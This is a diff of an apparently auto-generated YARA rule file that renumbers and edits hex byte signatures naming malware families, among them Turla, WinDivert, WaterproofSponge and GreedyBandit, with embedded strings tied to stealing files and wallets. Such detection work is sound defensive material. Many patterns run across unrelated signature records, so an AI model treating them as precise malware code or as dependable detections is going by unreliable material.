& 1)*1) >=2 } -rule _InfrastructureShared_10386{ +rule _InfrastructureShared_11053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112946,7 +120330,7 @@ rule _InfrastructureShared_10386{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-14592) >=2 } -rule _InfrastructureShared_10387{ +rule _InfrastructureShared_11054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112957,7 +120341,7 @@ rule _InfrastructureShared_10387{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*12939) >=2 } -rule _InfrastructureShared_10388{ +rule _InfrastructureShared_11055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112968,7 +120352,7 @@ rule _InfrastructureShared_10388{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*12846) >=2 } -rule _InfrastructureShared_10389{ +rule _InfrastructureShared_11056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112979,7 +120363,7 @@ rule _InfrastructureShared_10389{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*2204) >=2 } -rule _InfrastructureShared_10390{ +rule _InfrastructureShared_11057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112990,7 +120374,7 @@ rule _InfrastructureShared_10390{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*400) >=2 } -rule _InfrastructureShared_10391{ +rule _InfrastructureShared_11058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -113001,29 +120385,18 @@ rule _InfrastructureShared_10391{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-17919) >=2 } -rule _InfrastructureShared_10392{ +rule _InfrastructureShared_11059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {57 69 6e 36 34 2f 53 79 73 57 68 69 73 70 65 72 2e 42 00 01 00 4c 03 48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 48 83 ec 28 b9 90 01 04 e8 90 01 04 49 89 90 01 01 b9 90 01 04 e8 90 01 04 48 83 c4 28 48 8b 4c 24 } //21283 - $a_54_1 = {10 4c 8b 44 24 18 4c 8b 4c 24 20 49 89 ca 41 ff 90 00 01 00 23 01 48 89 4d 10 c7 45 f8 00 02 00 00 66 c7 45 e5 0f 05 c6 45 e7 c3 c7 45 f4 12 00 00 00 8b 55 f4 48 8b 45 10 00 00 78 98 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 64 69 65 2e 53 45 46 21 4d 54 42 00 01 00 56 01 68 6f 78 2f 31 68 69 72 65 66 68 30 31 20 46 68 31 30 30 31 68 6f 2f 32 30 68 47 65 63 6b 68 2e 30 } //18440 + $a_54_1 = {10 4c 8b 44 24 18 4c 8b 4c 24 20 49 89 ca 41 ff 90 00 01 00 23 01 48 89 4d 10 c7 45 f8 00 02 00 00 66 c7 45 e5 0f 05 c6 45 e7 c3 c7 45 f4 12 00 00 00 8b 55 f4 48 8b 45 10 00 00 78 98 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 63 65 61 6c 65 72 2e 52 54 21 4d 54 42 00 01 00 33 03 83 c0 09 89 45 90 01 01 83 d1 00 89 4d 90 01 01 8b 45 90 01 01 89 45 90 01 01 8b 45 90 01 01 } //18440 condition: ((#a_46_0 & 1)*21283+(#a_54_1 & 1)*18440) >=2 } -rule _InfrastructureShared_10393{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 64 69 65 2e 53 45 46 21 4d 54 42 00 01 00 56 01 68 6f 78 2f 31 68 69 72 65 66 68 30 31 20 46 68 31 30 30 31 68 6f 2f 32 30 68 47 65 63 6b 68 2e 30 29 20 68 76 3a } //21539 - $a_34_1 = {20 72 68 57 4f 57 36 68 2e 31 3b 20 68 4e 54 20 36 68 6f 77 73 20 68 57 69 6e 64 68 2e 30 20 28 68 6c 61 2f 35 68 6f 7a 69 6c 68 01 00 10 81 01 64 75 6d 6d 79 57 69 6e 64 6f 77 43 6c 61 73 73 00 00 78 98 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 63 65 61 6c 65 72 2e } //13873 - condition: - ((#a_4c_0 & 1)*21539+(#a_34_1 & 1)*13873) >=2 - -} -rule _InfrastructureShared_10394{ +rule _InfrastructureShared_11060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -113034,7 +120407,7 @@ rule _InfrastructureShared_10394{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*19851) >=2 } -rule _InfrastructureShared_10395{ +rule _InfrastructureShared_11061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -113045,7 +120418,7 @@ rule _InfrastructureShared_10395{ ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*97) >=2 } -rule _InfrastructureShared_10396{ +rule _InfrastructureShared_11062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -113057,7 +120430,7 @@ rule _InfrastructureShared_10396{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25957+(#a_24_2 & 1)*-31997) >=2 } -rule _InfrastructureShared_10397{ +rule _InfrastructureShared_11063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -113069,7 +120442,7 @@ rule _InfrastructureShared_10397{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21+(#a_01_2 & 1)*12808) >=2 } -rule _InfrastructureShared_10398{ +rule _InfrastructureShared_11064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -113081,7 +120454,7 @@ rule _InfrastructureShared_10398{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-30712+(#a_73_2 & 1)*24914) >=2 } -rule _InfrastructureShared_10399{ +rule _InfrastructureShared_11065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -113092,7 +120465,7 @@ rule _InfrastructureShared_10399{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*156) >=2 } -rule _InfrastructureShared_10400{ +rule _InfrastructureShared_11066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -113104,7 +120477,7 @@ rule _InfrastructureShared_10400{ ((#a_5f_0 & 1)*25635+(#a_90_1 & 1)*11526+(#a_61_2 & 1)*29550) >=2 } -rule _InfrastructureShared_10401{ +rule _InfrastructureShared_11067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -113116,7 +120489,7 @@ rule _InfrastructureShared_10401{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_77_3 & 1)*17409) >=2 } -rule _InfrastructureShared_10402{ +rule _InfrastructureShared_11068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -113125,12 +120498,12 @@ rule _InfrastructureShared_10402{ $a_6f_1 = {6e 79 79 2e 33 33 32 32 2e 6f 72 67 02 00 27 01 5c 4e 65 74 4d 6f 6e 65 79 5c 59 59 5c 52 65 6c 65 61 73 65 5c 44 6f 77 6e 6c 6f 61 64 43 6c 69 65 6e 74 2e 70 64 62 00 00 02 00 78 98 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 54 53 50 59 3a 48 65 73 70 65 72 62 6f 74 2e 41 34 00 02 00 1c 01 00 63 } //271 $a_5f_2 = {38 36 2e 62 69 6e 00 5f 63 6f 72 65 5f 65 6e 74 72 79 40 34 00 01 00 0e 01 ff 74 24 04 6a 01 68 8e 9e 56 9f 6a 1d e8 01 00 13 03 6a 00 68 62 9d 80 d0 6a 1d e8 90 01 04 83 c4 0c c3 90 00 01 00 13 03 50 6a 01 68 2d 3d aa 72 6a 1d e8 90 01 04 83 c4 10 90 00 01 00 13 01 c7 45 f4 81 03 49 b0 b9 f9 88 e2 54 } //29295 $a_7c_3 = {31 06 00 00 78 98 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 72 6c 61 2e 56 21 64 68 61 00 02 00 23 03 83 7c 24 04 00 75 06 b8 90 01 04 c3 68 4e 74 46 73 ff 74 24 08 6a 01 ff 15 90 01 04 c3 85 c0 74 13 90 00 01 00 0d 80 01 00 4d 6f 64 75 6c 65 53 74 61 72 74 00 01 00 0c 80 01 00 4d 6f 64 75 6c 65 53 74 6f 70 00 02 00 07 80 01 20 76 6c 61 64 20 24 02 00 07 80 01 20 75 72 69 6b 20 24 02 00 07 80 01 20 67 69 6c 67 20 24 00 00 78 98 00 00 02 00 02 00 06 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 57 69 6e 44 69 76 65 72 74 00 01 00 0d 81 01 57 69 6e 44 69 76 65 72 74 2e 73 79 73 01 00 14 02 57 69 6e 44 69 76 65 72 74 90 02 05 64 72 69 76 65 72 90 00 01 00 0d 80 01 5c 44 65 76 69 63 65 5c } //17863 - $a_66_4 = {01 00 11 80 01 5c 44 65 76 69 63 65 5c 57 69 6e 44 69 76 65 72 74 01 00 0e 02 6c 64 77 66 70 90 01 02 2e 70 64 62 90 00 01 00 0d 00 57 69 6e 44 69 76 65 72 74 2e 70 64 62 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 49 42 42 21 4d 54 42 00 01 00 09 00 4b 69 65 73 20 6d 69 6e 69 01 00 09 } //25708 + $a_66_4 = {01 00 11 80 01 5c 44 65 76 69 63 65 5c 57 69 6e 44 69 76 65 72 74 01 00 0e 02 6c 64 77 66 70 90 01 02 2e 70 64 62 90 00 01 00 0d 00 57 69 6e 44 69 76 65 72 74 2e 70 64 62 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 61 67 6e 65 74 69 63 57 6f 6f 64 2e 41 21 64 68 61 00 01 00 22 01 54 00 61 00 72 00 } //25708 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*271+(#a_5f_2 & 1)*29295+(#a_7c_3 & 1)*17863+(#a_66_4 & 1)*25708) >=2 } -rule _InfrastructureShared_10403{ +rule _InfrastructureShared_11069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -113144,7 +120517,7 @@ rule _InfrastructureShared_10403{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*400+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_98_4 & 1)*0) >=2 } -rule _InfrastructureShared_10404{ +rule _InfrastructureShared_11070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -113152,38 +120525,73 @@ rule _InfrastructureShared_10404{ $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 72 6c 61 2e 56 21 64 68 61 00 02 00 23 03 83 7c 24 04 00 75 06 b8 90 01 04 c3 68 4e 74 46 73 ff 74 24 08 6a 01 ff 15 90 01 04 c3 85 c0 74 13 90 00 01 00 0d 80 01 00 4d 6f 64 75 6c 65 53 74 61 72 } //18467 $a_00_1 = {0c } //116 $a_65_3 = {74 6f 70 00 02 00 07 80 01 20 76 6c 61 64 20 24 02 00 07 80 01 20 75 72 69 6b 20 24 02 00 07 80 01 20 67 69 6c 67 20 24 00 00 78 98 00 00 02 00 02 00 06 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 57 69 6e 44 69 76 65 72 74 00 01 00 0d 81 01 57 69 6e 44 69 76 65 72 74 2e 73 79 73 01 00 14 02 57 69 6e 44 69 76 65 } //30052 - $a_02_4 = {05 64 72 69 76 65 72 90 00 01 00 0d 80 01 5c 44 65 76 69 63 65 5c 6c 64 77 66 70 01 00 11 80 01 5c 44 65 76 69 63 65 5c 57 69 6e 44 69 76 65 72 74 01 00 0e 02 6c 64 77 66 70 90 01 02 2e 70 64 62 90 00 01 00 0d 00 57 69 6e 44 69 76 65 72 74 2e 70 64 62 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 49 42 42 21 4d 54 42 00 01 00 09 00 4b 69 65 73 20 6d 69 6e 69 01 } //29810 + $a_02_4 = {05 64 72 69 76 65 72 90 00 01 00 0d 80 01 5c 44 65 76 69 63 65 5c 6c 64 77 66 70 01 00 11 80 01 5c 44 65 76 69 63 65 5c 57 69 6e 44 69 76 65 72 74 01 00 0e 02 6c 64 77 66 70 90 01 02 2e 70 64 62 90 00 01 00 0d 00 57 69 6e 44 69 76 65 72 74 2e 70 64 62 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 61 67 6e 65 74 69 63 57 6f 6f 64 2e 41 21 64 68 61 00 01 00 22 01 54 00 61 00 } //29810 + $a_00_5 = {65 00 74 00 20 00 49 00 50 00 20 00 2f 00 20 00 55 00 72 00 6c 00 20 00 3a 00 01 00 18 01 53 00 6f 00 63 00 6b 00 73 00 20 00 54 00 75 00 6e 00 6e 00 65 00 6c 00 01 00 22 01 4c 00 69 00 73 00 74 00 65 00 6e 00 69 00 6e 00 67 00 20 00 50 00 6f 00 72 00 74 00 20 00 3a 00 20 00 00 00 78 98 00 00 03 00 03 00 03 } //114 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_65_3 & 1)*30052+(#a_02_4 & 1)*29810) >=2 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_65_3 & 1)*30052+(#a_02_4 & 1)*29810+(#a_00_5 & 1)*114) >=2 } -rule _InfrastructureShared_10405{ +rule _InfrastructureShared_11071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " strings : $a_63_0 = {54 6f 6f 6c 3a 57 69 6e 33 32 2f 57 69 6e 44 69 76 65 72 74 00 01 00 0d 81 01 57 69 6e 44 69 76 65 72 74 2e 73 79 73 01 00 14 02 57 69 6e 44 69 76 65 72 74 90 02 05 64 72 69 76 65 72 90 00 01 00 0d 80 01 5c 44 65 76 69 63 65 5c 6c 64 77 66 70 01 00 11 80 01 5c 44 65 76 69 63 65 5c 57 69 6e } //18467 - $a_65_1 = {74 01 00 0e 02 6c 64 77 66 70 90 01 02 2e 70 64 62 90 00 01 00 0d 00 57 69 6e 44 69 76 65 72 74 2e 70 64 62 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 49 42 42 21 4d 54 42 00 01 00 09 00 4b 69 65 73 20 6d 69 6e 69 01 00 09 00 53 65 74 75 70 2e 65 78 65 01 00 50 03 25 17 58 13 90 01 } //26948 - $a_61_2 = {9c 09 17 5f 17 33 90 01 } //-28415 - $a_1b_3 = {11 90 01 01 58 13 90 1b 00 08 1b 64 08 1f 90 01 01 62 60 1d 5a 0c 09 17 64 09 1f 90 01 01 62 60 0d 11 90 01 01 17 58 13 90 1b 07 11 90 1b 07 6a 20 90 01 04 6a 32 90 00 00 00 78 98 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 44 65 6c 66 42 61 6e 6c 6f 61 64 44 6c 6c 00 01 00 23 01 53 56 57 89 c6 89 d7 39 d0 0f 84 8f 00 00 00 85 f6 74 68 85 ff 74 6b 8b 46 fc 8b 57 fc 29 d0 77 02 01 c2 01 00 28 01 5a 83 e2 03 74 22 8b 0e 8b 1f 38 } //4353 - $a_4a_4 = {17 38 fd 75 3a 4a 74 10 81 e3 00 00 ff 00 81 e1 00 00 ff 00 39 d9 75 27 01 00 23 01 8b 45 fc 8a 5c 30 ff 8b c3 04 d0 2c 0a 72 14 8b c3 04 d8 3c 57 77 0a 83 e0 7f 0f a3 05 78 d1 44 00 73 18 00 00 } //30169 + $a_65_1 = {74 01 00 0e 02 6c 64 77 66 70 90 01 02 2e 70 64 62 90 00 01 00 0d 00 57 69 6e 44 69 76 65 72 74 2e 70 64 62 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 61 67 6e 65 74 69 63 57 6f 6f 64 2e 41 21 64 68 61 00 01 00 22 01 54 00 61 00 72 00 67 00 65 00 74 00 20 00 49 00 50 00 20 00 2f 00 20 00 55 00 } //26948 + $a_00_2 = {20 00 3a 00 01 00 18 01 53 00 6f 00 63 00 6b 00 73 00 20 00 54 00 75 00 6e 00 6e 00 65 00 6c 00 01 00 22 01 4c 00 69 00 73 00 74 00 65 00 6e 00 69 00 6e 00 67 00 20 00 50 00 6f 00 72 00 74 00 20 00 3a 00 20 00 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 57 53 3a 4d 53 49 4c 2f 57 61 74 65 72 70 72 6f 6f 66 53 } //114 + $a_67_3 = {2e 41 21 64 68 61 00 01 00 24 01 77 00 61 00 6c 00 6c 00 65 00 74 00 2d 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 01 00 20 01 2d 00 2d 00 64 00 61 00 65 00 6d 00 6f 00 6e 00 2d 00 61 00 64 00 64 00 72 00 65 00 73 00 73 00 01 00 1a 01 2d 00 2d 00 64 00 61 00 65 00 6d 00 6f 00 6e 00 2d 00 70 00 6f 00 72 } //28528 + $a_00_5 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 49 42 42 21 4d 54 42 00 01 00 09 00 4b 69 65 73 20 6d 69 6e 69 01 00 09 00 53 65 74 75 70 2e 65 78 65 01 00 50 03 25 17 58 13 90 01 01 91 08 61 d2 9c 09 17 5f 17 33 90 01 01 11 90 1b 00 11 90 01 01 58 13 90 1b 00 08 1b 64 08 1f 90 01 01 62 60 1d 5a 0c 09 17 64 09 1f 90 01 01 62 60 0d 11 90 01 01 17 58 13 90 1b 07 11 90 1b 07 6a 20 90 01 04 6a 32 90 00 00 } //30720 condition: - ((#a_63_0 & 1)*18467+(#a_65_1 & 1)*26948+(#a_61_2 & 1)*-28415+(#a_1b_3 & 1)*4353+(#a_4a_4 & 1)*30169) >=2 + ((#a_63_0 & 1)*18467+(#a_65_1 & 1)*26948+(#a_00_2 & 1)*114+(#a_67_3 & 1)*28528+(#a_00_5 & 1)*30720) >=2 } -rule _InfrastructureShared_10406{ +rule _InfrastructureShared_11072{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 61 67 6e 65 74 69 63 57 6f 6f 64 2e 41 21 64 68 61 00 01 00 22 01 54 00 61 00 72 00 67 00 65 00 74 00 20 00 49 00 50 00 20 00 2f 00 20 00 55 00 72 00 6c 00 20 00 3a 00 01 00 18 01 } //16675 + $a_00_1 = {63 00 6b 00 73 00 20 00 54 00 75 00 6e 00 6e 00 65 00 6c 00 01 00 22 01 4c 00 69 00 73 00 74 00 65 00 6e 00 69 00 6e 00 67 00 20 00 50 00 6f 00 72 00 74 00 20 00 3a 00 20 00 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 57 53 3a 4d 53 49 4c 2f 57 61 74 65 72 70 72 6f 6f 66 53 70 6f 6e 67 65 2e 41 21 64 68 61 00 01 00 24 } //83 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*83) >=3 + +} +rule _InfrastructureShared_11073{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {50 57 53 3a 4d 53 49 4c 2f 57 61 74 65 72 70 72 6f 6f 66 53 70 6f 6e 67 65 2e 41 21 64 68 61 00 01 00 24 01 77 00 61 00 6c 00 6c 00 65 00 74 00 2d 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 01 00 20 01 } //16675 + $a_00_1 = {64 00 61 00 65 00 6d 00 6f 00 6e 00 2d 00 61 00 64 00 64 00 72 00 65 00 73 00 73 00 01 00 1a 01 2d 00 2d 00 64 00 61 00 65 00 6d 00 6f } //45 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*45) >=3 + +} +rule _InfrastructureShared_11074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 49 42 42 21 4d 54 42 00 01 00 09 00 4b 69 65 73 20 6d 69 6e 69 01 00 09 00 53 65 74 75 70 2e 65 78 65 01 00 50 03 25 17 58 13 90 01 01 91 08 61 d2 9c 09 17 5f 17 33 90 } //16675 $a_90_1 = {00 11 90 01 01 58 13 90 1b 00 08 1b 64 08 1f 90 01 } //257 - $a_1d_2 = {0c 09 17 64 09 1f 90 01 01 62 60 0d 11 90 01 01 17 58 13 90 1b 07 11 90 1b 07 6a 20 90 01 04 6a 32 90 00 00 00 78 98 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 44 65 6c 66 42 61 6e 6c 6f 61 64 44 6c 6c 00 01 00 23 01 53 56 57 89 c6 89 d7 39 d0 0f 84 8f 00 00 00 85 f6 74 68 85 ff 74 6b } //25089 + $a_1d_2 = {0c 09 17 64 09 1f 90 01 01 62 60 0d 11 90 01 01 17 58 13 90 1b 07 11 90 1b 07 6a 20 90 01 04 6a 32 90 00 00 00 78 98 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 64 79 42 61 6e 64 69 74 2e 41 21 64 68 61 00 01 00 20 01 6c 6f 6f 74 2f 24 65 } //25089 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*257+(#a_1d_2 & 1)*25089) >=3 } -rule _InfrastructureShared_10407{ +rule _InfrastructureShared_11075{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 64 79 42 61 6e 64 69 74 2e 41 21 64 68 61 00 01 00 20 01 6c 6f 6f 74 2f 24 65 6e 76 3a 43 4f 4d 50 55 54 45 52 4e 41 4d 45 2f 69 6e 66 6f 2e 74 78 74 27 01 00 30 01 2d 52 65 63 } //16675 + $a_65_1 = {2d 49 6e 63 6c 75 64 65 20 2a 2e 74 78 74 2c 2a 2e 6f 64 74 2c 2a 2e 72 74 66 2c 2a 2e 70 64 66 2c 2a 2e 64 6f 63 2a 01 00 0e 01 53 74 61 72 74 75 70 5f 73 63 70 2e 72 73 00 00 78 98 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 44 65 6c 66 42 61 6e 6c 6f 61 64 44 6c 6c 00 01 00 23 01 53 56 57 89 c6 89 d7 39 d0 0f 84 8f 00 00 00 85 f6 74 68 85 } //29301 + $a_8b_2 = {fc 8b 57 fc 29 d0 77 02 01 c2 01 00 28 01 5a 83 e2 03 74 22 8b 0e 8b 1f 38 d9 75 41 4a 74 17 38 fd 75 3a 4a 74 10 81 e3 00 00 ff 00 81 e1 00 00 ff 00 39 d9 75 27 01 00 23 01 8b 45 fc 8a 5c 30 ff 8b c3 04 d0 2c 0a 72 14 8b c3 04 d8 3c 57 77 0a 83 e0 7f 0f a3 05 78 d1 44 00 73 18 00 00 78 98 00 00 03 00 03 00 03 00 21 23 } //29951 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29301+(#a_8b_2 & 1)*29951) >=3 + +} +rule _InfrastructureShared_11076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -113194,7 +120602,7 @@ rule _InfrastructureShared_10407{ ((#a_54_0 & 1)*18467+(#a_e1_2 & 1)*255) >=3 } -rule _InfrastructureShared_10408{ +rule _InfrastructureShared_11077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -113205,7 +120613,7 @@ rule _InfrastructureShared_10408{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_10409{ +rule _InfrastructureShared_11078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -113216,7 +120624,7 @@ rule _InfrastructureShared_10409{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*12815) >=3 } -rule _InfrastructureShared_10410{ +rule _InfrastructureShared_11079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -113227,7 +120635,7 @@ rule _InfrastructureShared_10410{ ((#a_4c_0 & 1)*21539+(#a_31_2 & 1)*192) >=3 } -rule _InfrastructureShared_10411{ +rule _InfrastructureShared_11080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -113240,7 +120648,7 @@ rule _InfrastructureShared_10411{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*28020+(#a_aa_2 & 1)*-21576+(#a_65_3 & 1)*24942) >=3 } -rule _InfrastructureShared_10412{ +rule _InfrastructureShared_11081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -113253,7 +120661,7 @@ rule _InfrastructureShared_10412{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*27491+(#a_74_2 & 1)*25146+(#a_6e_3 & 1)*28018) >=3 } -rule _InfrastructureShared_10413{ +rule _InfrastructureShared_11082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -113267,7 +120675,7 @@ rule _InfrastructureShared_10413{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29541+(#a_6d_2 & 1)*24937+(#a_01_3 & 1)*24930+(#a_79_4 & 1)*28257) >=3 } -rule _InfrastructureShared_10414{ +rule _InfrastructureShared_11083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -113282,7 +120690,7 @@ rule _InfrastructureShared_10414{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25134+(#a_42_2 & 1)*19745+(#a_64_3 & 1)*24941+(#a_64_4 & 1)*28524+(#a_52_5 & 1)*11890) >=3 } -rule _InfrastructureShared_10415{ +rule _InfrastructureShared_11084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 04 00 21 " @@ -113295,7 +120703,7 @@ rule _InfrastructureShared_10415{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10752+(#a_66_2 & 1)*19532+(#a_3a_3 & 1)*28530) >=3 } -rule _InfrastructureShared_10416{ +rule _InfrastructureShared_11085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113308,7 +120716,7 @@ rule _InfrastructureShared_10416{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27680+(#a_72_2 & 1)*23553+(#a_80_3 & 1)*1) >=4 } -rule _InfrastructureShared_10417{ +rule _InfrastructureShared_11086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113321,7 +120729,7 @@ rule _InfrastructureShared_10417{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*29779+(#a_6b_2 & 1)*27506+(#a_46_3 & 1)*21249) >=4 } -rule _InfrastructureShared_10418{ +rule _InfrastructureShared_11087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113334,7 +120742,7 @@ rule _InfrastructureShared_10418{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*19292+(#a_61_2 & 1)*28777+(#a_72_3 & 1)*26220) >=4 } -rule _InfrastructureShared_10419{ +rule _InfrastructureShared_11088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 